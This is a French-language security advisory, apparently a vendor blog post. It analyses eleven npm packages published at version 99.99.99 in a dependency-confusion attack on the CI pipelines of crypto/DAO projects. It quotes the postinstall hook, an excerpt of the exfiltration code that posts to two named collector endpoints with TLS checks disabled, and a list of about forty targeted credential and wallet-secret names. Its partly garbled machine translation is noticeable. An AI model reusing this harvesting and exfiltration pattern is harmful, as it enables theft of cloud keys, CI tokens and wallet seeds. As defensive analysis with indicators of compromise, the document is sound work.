Confusion autour de CryptoDAO : Récupération des packages npm CI/CD et les secrets des cryptomonnaies

Confusion autour de CryptoDAO : onze paquets npm, une seule charge utile, la récolte CI/CD et les secrets des portefeuilles crypto

TL; DR

Le 17 juin 2026, un seul compte npm a publié onze paquets qui partagent un même objectif et une même charge utileDix d'entre eux portent le cryptodao- préfixe (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); le onzième est le cadré @public-for-cdao/coreChacun a été publié à la version 99.99.99 et expédie un octet identique recon.js qui fonctionne sur postinstall.

Leurs noms sont révélateurs. Ils ressemblent aux composants internes de la chaîne d'outils privée d'un projet crypto/DAO. Publiés sur le registre npm public à une version artificiellement élevée, ils attendent d'être compilés. pipeline qui est configuré pour résoudre ces noms et qui atteint npm public avant — ou à la place — du registre privé. dépendance confusionet la charge utile est optimisée pour l'endroit précis où elle prévoit d'atterrir : CI/CD coureurs.

Lorsque vous postinstall les feux, recon.js collecte les informations sur l'hôte, effectue des balayages approximatifs quarante variables d'environnement pour le cloud, l'intégration continue et les portefeuilles cryptographiques, lit n'importe quel .env Il récupère les fichiers qu'il peut trouver et transmet textuellement les lignes contenant le secret, puis transmet le paquet à deux collecteurs. webhook.site et un point de terminaison Pipedream — avec la vérification du certificat TLS désactivée. Une copie est également disponible sous /tmp.

Gravité: ÉlevéeÉcosystème touché : NPMLes onze paquets étaient tous opérationnels au moment de la rédaction.

Anatomie de l'attaque

Le mécanisme comporte quatre pièces mobiles, et aucune n'est subtile une fois qu'on sait comment les manipuler. Regardez un niveau au-delà du nom du paquet.

1. L'inflation de version comme appât pour les résolveurs. Chaque paquet déclare la version 99.99.99La confusion des dépendances se produit lorsqu'un gestionnaire de paquets demande un nom interne, vérifie également le registre public et sélectionne la version la plus récente. La sélection par défaut de npm pour une plage de caractères génériques (avec curseur ou caractère générique) est la la version la plus satisfaisante parmi toutes les sources configurées ; si les deux sont privées Si le registre et la réponse publique npm correspondent au même nom, c'est le numéro de version le plus élevé qui l'emporte. A 99.99.99 surpasse pratiquement toute version interne réelle qu'un projet puisse avoir. atteint, donc un résolveur qui n'est pas lié à la source privée préfère le copie publique — et dans ce cas, hostile. L'opérateur n'a pas besoin de connaître le Les numéros de version réels de la cible ; choisir un maximum absurde garantit toujours l’égalité se fraye un chemin.

2. Un déclencheur post-installation. package.json connecte la charge utile à l'installation cycle de vie:

{   "scripts": { "postinstall": "node recon.js" } }

Aucune importation du package n'est requise. Il suffit de l'installer — ce qu'un CI fait pipeline s'exécute automatiquement recon.js.

3. Un vaste balayage secret. recon.js assemble un tableau de résultats par étapes :

  • Contexte de l'hôte : nom d'hôte, plateforme et version, architecture, nom d'utilisateur, environnement de travail répertoire.
  • Variables d'environnement : il parcourt une liste fixe d'environ quarante noms et enregistrements tous ceux qui sont définis. La liste est révélatrice : elle associe des jetons CI génériques (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, JETON D'ACCÈS GITLAB) et nuage identifiants (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, Jeton de session AWS) avec les secrets du registre et du conteneur (NPM_TOKEN, MOT DE PASSE DOCKER, MOT_DE_PASSE_DU_PORT) et un groupe à forte connotation cryptographique :  CLÉ PRIVÉE, MNÉMONIQUE, PHRASE_GÉNÉRALE, CLÉ_API_INFURA, Clé API ALCHEMY, ETH_RPC, BSC_RPCLes valeurs enregistrées sont tronquées aux 50 premiers caractères.
  • .env fichiers : il analyse une liste de chemins — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, et la .production/.développement des variantes — et pour tout fichier existant, il filtre le contenu pour ne retenir que les lignes correspondantes CLÉ|SECRET|JETON|MOT DE PASSE|PRIVÉ|MÉMOIRE et insère ces lignes **intégralement, sans troncature** dans les résultats.
  • Contexte de l'hôte de construction : il liste les 20 premières entrées de /constructions/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ et / tmp /.

La liste des chemins et la liste des variables sont pondérées en faveur des exécuteurs GitLab, ce qui indique la charge utile directement sur l'infrastructure CI auto-hébergée plutôt que chez un développeur ordinateur portable. Le regroupement de la liste de récolte par catégorie permet de visualiser clairement la récolte prévue :

CatégoriesVariables / chemins atteints
CI/CD identité et déploiementCI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
CloudAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registre et conteneurNPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Magasins de donnéesDATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto / blockchainPRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
MESSAGERIESLACK_TOKEN, DISCORD_TOKEN
Sur disque.env famille + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listes de répertoires de /builds/, /var/lib/gitlab-runner/

Le cluster cryptographique est l'élément qui le distingue d'un secret CI générique. balayage : les phrases de récupération du portefeuille et les clés de signature n’apparaissent que dans l’environnement d’un projet blockchain, et ils correspondent directement au cryptodao-/signataire/contrats Désignation des transporteurs.

4. Double exfiltration avec vérification désactivée. Le tableau collecté est sérialisé et envoyé par POST à ​​deux destinations :

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejetNon autorisé : faux désactive la vérification des certificats TLS pour le trafic sortant Les mêmes données sont affichées sur la sortie standard (elles apparaissent donc également dans les journaux des tâches d'intégration continue) et écrite à /tmp/.npm_recon_ .jsonLes erreurs sont ignorées, donc une L'échec de l'envoi ne laisse aucune trace dans la sortie d'installation, hormis un seul [reconnaissance] installé sur ligne.

Un commentaire important du fichier le décrit comme une « confusion de dépendance ». Charge utile de reconnaissance. La troncature des valeurs environnementales à 50 caractères a la forme d'une preuve de concept. Ce qui la distingue d'une simple balise de présence, c'est le .env traitement : les lignes contenant des secrets sont transmises intégralement, et les destinations sont deux collecteurs fonctionnels contrôlés par un attaquant plutôt qu'un récepteur qui ne fait que comptabiliser les coups.

Forum

Le modèle de publication est la signature d'une seule envoi scripté, et non de onze. Téléchargements indépendants.

Heure (UTC, 17/06/2026)Espaces
03:24:58cryptodao-bot@99.99.99 publié
03:25:01cryptodao-signer@99.99.99
03:25:04cryptodao-deploy@99.99.99
03:25:08cryptodao-backend@99.99.99
03:25:11cryptodao-contracts@99.99.99
03:25:14cryptodao-sdk@99.99.99
03:25:18cryptodao-utils@99.99.99
03:25:21cryptodao-core@99.99.99
03:25:24cryptodao-types@99.99.99
03:25:27cryptodao-config@99.99.99
03:49:59@public-for-cdao/core@99.99.99 — variante à portée, environ 24 min plus tard

Dix colis ont été expédiés en l'espace de 29 secondes, soit environ un toutes les trois secondes. Le périmètre @public-for-cdao/core suivi environ 24 minutes plus tard — une seconde convention d'appellation pour la même cible, au cas où le projet consommateur ferait référence à La chaîne d'outils interne est définie par un périmètre plutôt que par de simples noms.

Indicateurs de compromis

TypeIndicateur
Collectorhxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collectorhxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Installer le crochetpostinstall: node recon.js
Fichier supprimé/tmp/.npm_recon_<timestamp>.json
Marqueur de bûche[recon] <pkg>@<ver> installed on <hostname> (stdout dans les journaux CI)
ComportementalerejectUnauthorized: false sur HTTPS sortant pendant l'installation
Charge utilerecon.js, identiques pour les onze paquets (une seule version partagée)
Version99.99.99 sur chaque paquet
Forfaitscryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tout 99.99.99)
Publisheraduljune / aduljune@proton.me (Adresse e-mail non vérifiée, aucun dépôt source lié)

 Attribution et comportement observé

Tout dans ce cluster semble indiquer une seule et même chose. Les onze paquets ont tous été publiés. par le compte npm aduljune (aduljune@proton.me, une adresse non vérifiée sans dépôt source lié), dans un intervalle de 25 minutes, au même moment 99.99.99 version, expédier un recon.js dont le contenu est identique octet par octet dans chaque paquet (correspondance MD5 sur les onze copies extraites). Cela constitue une charge utile. apposé sur une liste de noms, et non réutilisé indépendamment.

La liste des noms définit la cible visée. cryptodao-* et cdao décrire le Schéma des modules privés d'un projet crypto/DAO et liste de récupération de la charge utile Cela confirme cette hypothèse : outre les secrets génériques d’intégration continue et de cloud, il spécifiquement atteint pour CLÉ PRIVÉE, MNÉMONIQUE, PHRASE_GÉNÉRALEet Ethereum/BSC RPC et clés du fournisseur. Les .env Les chemins de recherche et les listes de répertoires sont gérés par GitLab-runner. spécifique. L'effet observable est que tout pipeline piégés pour installer ces names transmettrait ses jetons CI, ses clés cloud et ses données sur disque .env secrets — et, pour un projet blockchain, son matériel de portefeuille — à deux collecteurs tiers.

Nous ne nous prononçons sur aucune affirmation concernant l'identité de la personne qui gère le compte ou sur ce qu'elle prévoyait d'en faire. des données. Les faits qui se suffisent à eux-mêmes : les noms ciblent un type spécifique de Dans la chaîne d'outils interne, la charge utile lit et transmet de véritables valeurs secrètes, et la L'infrastructure était opérationnelle.

Impact, tendances et conseils aux défenseurs

Confusion de dépendance reste efficace car elle exploite le comportement du résolveur, et non un La vulnérabilité est inhérente à tout colis. Le transporteur est ici trivial : onze colis presque vides. colis — mais le rayon de l'explosion est ce que pipeline préfère par erreur le npm public pour un nom interne. Les exécuteurs CI sont le pire endroit pour que cela se produise : ils contiennent exactement les jetons et .env fichiers que cette charge utile lit, et ils installent dépendances de manière non interactive, donc un post-installation court sans que personne ne le regarde.

Ce groupe correspond également à un schéma que nous observons régulièrement : des charges utiles installées qui présentent comme « recherche » ou « reconnaissance » lors de la collecte de véritables références. L'étiquette Les modifications apportées au fichier ne changent rien au comportement du code sur un exécuteur. Deux choix de conception permettent de maintenir ce comportement. l'activité quiet : chaque opération réseau et système de fichiers est encapsulée dans un Gestionnaire d'exceptions qui ignore les erreurs, comme un envoi bloqué ou un fichier manquant. ne produit aucun résultat de diagnostic, et la seule chose imprimée est un simple message anodin. [recon] … installé ligne qui se fond dans le discours d'installation normal. L'utilisation de webhook.site et Pipedream est également un choix délibérément pratique — les deux sont gratuits, des services de capture de requêtes provisionnés instantanément, l'opérateur n'a donc besoin d'aucun serveur de Les leurs et les destinations ressemblent à des noms d'hôtes SaaS ordinaires dans les journaux de sortie.

Ce sont les aspects économiques qui rendent cette question digne d'intérêt pour un défenseur, même si… Le code opérateur est trivial. L'enregistrement de onze noms est gratuit, la charge utile est unique. Le fichier a été copié onze fois, et c'est le gestionnaire de paquets qui effectue toutes les exécutions. Un seul mal configuré pipeline Tout établissement qui utilise l'un de ces noms paie pour l'intégralité du montant. fonctionnement.

Mesures concrètes pour les défenseurs :

  • Épinglez les portées internes à votre registre privé. Configurez npm pour que les noms internes soient définis.
     et les portées ne sont résolues que par rapport à votre registre (mappages de registre .npmrc à portée définie,
    ou un proxy qui ne redirige jamais vers npm public pour les espaces de noms dont vous êtes propriétaire. Réservez vos noms de portée publique afin que personne d'autre ne puisse les enregistrer.
  • Commit verrouiller les fichiers et installer avec --ignore-scripts en CI lorsque cela est possible, ou Examiner le petit nombre de dépendances qui nécessitent réellement des scripts d'installation.  recon.js ne peut pas s'exécuter si post-installation n'est pas exécuté.
  • Considérez une version à 99.99.99 (ou autre valeur absurdement élevée) d'un nom à consonance interne. comme un drapeau rouge dans le cadre de l'examen des dépendances et de la surveillance des registres.
  • Alerte en cas de sortie lors de l'installation. A post-installation qui ouvre un HTTPS sortant connexion — en particulier lorsque la vérification du certificat est désactivée — à Il est judicieux de bloquer webhook.site, Pipedream ou des services de capture de requêtes similaires en périphérie du réseau et de les signaler dans les journaux de compilation.
  • Partez à la recherche des artefacts. Vérifiez les coureurs pour /tmp/.npm_recon_*.json et pour [recon] … installé sur … marqueur dans les journaux CI récents. Si trouvé, faire une rotation tous les identifiant exposé à cela pipeline — Jetons CI, clés cloud, jetons de registre et toutes les clés privées ou de récupération de portefeuille présentes dans l'environnement ou les fichiers .env.

Références

Aucun rapport externe sur ce groupe n'existait au moment de la rédaction ; l'analyse Ce qui précède est directement basé sur le contenu publié du paquet.

sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Obtenez votre compte gratuit.
Aucune carte de crédit requise.

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni